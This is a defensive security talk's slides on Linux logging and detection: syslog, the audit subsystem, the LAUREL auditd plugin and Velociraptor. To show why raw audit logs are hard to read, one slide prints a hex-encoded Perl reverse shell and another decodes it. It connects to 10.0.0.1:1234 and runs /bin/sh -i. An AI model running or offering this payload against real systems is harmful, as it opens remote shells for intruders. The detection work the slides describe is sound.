System Logs

• e.g. /var/log/messages, /var/log/auth.log
• Easy to collect
• The usual suspects: sudo, ssh, cron, etc.
• Need context to detect anything
• Not sufficient for catching attackers

Beyond syslog

• Detect unusual, suspicious behavior, e.g.:
  • Webshells
  • Reverse shells
  • Reconnaissance
  • "fileless" implants injected into processes
  • BPF seems interesing for attackers
• Need better telemetry!
  • Program executions
  • File watches
  • Special case syscalls

Linux Audit Subsystem

• Good for logging:
  • Program execution
  • File operations
  • Syscalls
  • SELinux, AppArmor events
• Stable, boring technology!
  • In kernel since mid-2000s
  • Basic format is well documented
  • Semantics are well understood

Linux Audit Subsystem

Linux Audit Subsystem, LOL

type=SYSCALL msg=audit(1626611363.720:348501): …
type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl"
  a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24
  703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545
  245414D2C67657470726F746F62796E616D6528227463702229293B69662863
  6F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746
  F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E
  285354444F55542C223E265322293B6F70656E285354444552522C223E26532
  2293B6578656328222F62696E2F7368202D6922293B7D3B
type=CWD msg=audit(1626611363.720:348501): …

• Parsing is hard for SIEM software
• Few filtering options

Linux Audit Subsystem, LOL

So, what is this EXECVE.a2?

use Socket; $i="10.0.0.1"; $p=1234;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S");
exec("/bin/sh -i"); };

Our solution

"Linux Audit – Usable, Robust, Easy Logging"

• auditd plugin: Parse audit log, write JSON
• Enrichment, process tracking and labelling
• Filtering capabilities
• https://github.com/threathunters-io/laurel, GPLv3

Our solution

EDR? On Linux? Interesting.

• "Our work so far has been basic, common sense"
• "Let's see if we can do better with an off-the-shelf product"

Made for Windows.

• "CreateProcess. What is fork, exec?"
• "root = 'S-1-5-18'. Everybody knows that"
• "What's a numeric user ID?"
• "What are groups?"
• "Filenames are all valid Unicode. Right?"

Response and Hunting

• Get context for alerts
• simple tasks
  • inspect files
  • ps
  • netstat
• Use YARA rules to hunt for specific files
• Find process anomalies

Velociraptor

• "digital forensic and incident response tool"
• Velociraptor Query Language
• Some assembly required
• Excellent support
• https://docs.velociraptor.app, AGPLv3

Support infrastructure

• Diagnosis scripts to check for misconfiguration
  • Simplify support cases
• RPM+DEB packages
  • Reduce mistakes made in installation

Contact info

Hilko Bengen <bengen@hilluzination.de>

Slides are available online: